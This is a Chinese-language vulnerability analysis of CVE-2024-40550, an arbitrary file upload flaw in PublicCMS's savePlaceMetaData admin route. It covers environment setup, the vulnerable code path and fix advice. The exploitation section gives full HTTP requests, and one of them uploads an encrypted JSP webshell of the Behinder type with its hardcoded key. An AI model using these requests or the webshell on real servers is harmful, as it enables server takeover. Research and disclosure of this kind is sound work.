publicCms savePlaceMetaData 任意文件上传漏洞&分析(CVE-2024-40550)
字数 1036 2025-08-24 16:48:15
PublicCMS v4.0.202302.e 任意文件上传漏洞分析 (CVE-2024-40550)
漏洞概述
PublicCMS v4.0.202302.e版本中的/admin/cmsTemplate/savePlaceMetaData组件存在任意文件上传漏洞。攻击者可以通过上传精心构造的文件来执行任意代码,最终可能导致Web服务器被完全控制。
影响版本
- PublicCMS v4.0.202302.e
环境搭建
-
使用Docker拉取镜像:
docker pull sanluan/publiccms:V4.0.202302.e -
运行容器:
docker run -d -p 8080:8080 sanluan/publiccms:V4.0.202302.e -
将war包提取到物理机进行调试:
docker cp 41ee8cfd7165:/opt/publiccms.war publiccms.war -
启动调试环境:
java -jar -Dfile.encoding="UTF-8" -Dcms.port=8088 -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 -Dcms.contextPath=/publiccms -Dcms.filePath="data\publiccms" publiccms.war
漏洞分析
漏洞定位
漏洞存在于/admin/cmsTemplate/savePlaceMetaData路由中,该路由用于保存模板元数据。
请求构造
构造如下请求包可触发漏洞:
POST /publiccms/admin/cmsTemplate/savePlaceMetaData?callbackType=closeCurrent&navTabId=cmsTemplate/list HTTP/1.1
Host: localhost:8088
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=163966804931607146212670675591
Content-Length: 1670
Origin: http://localhost:8088
Connection: close
Referer: http://localhost:8088/publiccms/admin/
Cookie: JSESSIONID=A3F7ED4FB6F28DEA6820E72CB1FE641E; PUBLICCMS_ADMIN=1_e7c0ca14-1532-47f2-8e99-e7f909df6d48; PHPSESSID=a5ujvrauv1etduiv0rt3mpjnsu; XDEBUG_SESSION=10891; PUBLICCMS_ANALYTICS_ID=793e18a9-5397-4782-bbee-78a12d32c06d
Upgrade-Insecure-Requests: 1
Priority: u=4
--163966804931607146212670675591
Content-Disposition: form-data; name="_csrf"
e7c0ca14-1532-47f2-8e99-e7f909df6d48
--163966804931607146212670675591
Content-Disposition: form-data; name="path"
163966804931607146212670675591
--163966804931607146212670675591
Content-Disposition: form-data; name="files"; filename="1.txt"
Content-Type: application/octet-stream
123
--163966804931607146212670675591
Content-Disposition: form-data; name="content"
123
--163966804931607146212670675591
Content-Disposition: form-data; name="encoding"
utf-8
--163966804931607146212670675591
Content-Disposition: form-data; name="ajax"
1
--163966804931607146212670675591--
漏洞触发流程
-
路径处理:
- 首先检查
path参数是否为空 - 将
path与include拼接,传入siteComponent.getTemplateFilePath方法 - 调用
getFullTemplatePath方法 - 检查
path是否以/或\开头 - 将
path传入getSafeFileName方法,去除..防止目录穿越
- 首先检查
-
文件创建:
- 根据传入的
content和生成的filepath,调用CmsFileUtils.createFile - 该过程没有任何后缀限制或文件内容限制,仅进行了基本的目录穿越防护
- 根据传入的
-
元数据更新:
- 调用
metadataComponent.updatePlaceMetadata方法 - 调用
savePlaceMetadata方法 metadataMap存储所有上传的模板文件信息savePlaceMetadata方法创建metadata.data文件并写入所有模板文件信息
- 调用
漏洞利用
- JSP Webshell上传:
构造如下请求上传JSP Webshell:
POST /publiccms/admin/cmsTemplate/savePlaceMetaData?callbackType=closeCurrent&navTabId=cmsTemplate/list HTTP/1.1
Host: localhost:8088
[...其他头部...]
--163966804931607146212670675591
Content-Disposition: form-data; name="_csrf"
e7c0ca14-1532-47f2-8e99-e7f909df6d48
--163966804931607146212670675591
Content-Disposition: form-data; name="path"
.jsp
--163966804931607146212670675591
Content-Disposition: form-data; name="content"
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext)
--163966804931607146212670675591
Content-Disposition: form-data; name="encoding"
utf-8
--163966804931607146212670675591
Content-Disposition: form-data; name="ajax"
1
--163966804931607146212670675591--
- XSS攻击:
构造如下请求进行XSS攻击:
POST /publiccms/admin/cmsTemplate/savePlaceMetaData?callbackType=closeCurrent&navTabId=cmsTemplate/list HTTP/1.1
Host: localhost:8088
[...其他头部...]
--163966804931607146212670675591
Content-Disposition: form-data; name="_csrf"
e7c0ca14-1532-47f2-8e99-e7f909df6d48
--163966804931607146212670675591
Content-Disposition: form-data; name="path"
14.html
--163966804931607146212670675591
Content-Disposition: form-data; name="content"
--163966804931607146212670675591
Content-Disposition: form-data; name="encoding"
utf-8
--163966804931607146212670675591
Content-Disposition: form-data; name="ajax"
1
--163966804931607146212670675591--
修复建议
- 对上传文件的后缀名进行严格限制
- 对文件内容进行安全检查
- 更新到最新版本的PublicCMS
- 增加权限验证,确保只有授权用户可以上传文件
总结
该漏洞源于savePlaceMetaData接口对上传文件缺乏足够的验证和过滤,导致攻击者可以上传任意文件,包括恶意脚本。虽然JSP文件可能无法直接解析执行,但XSS攻击仍然可行。此外,模板功能本身也可能存在类似的文件上传问题。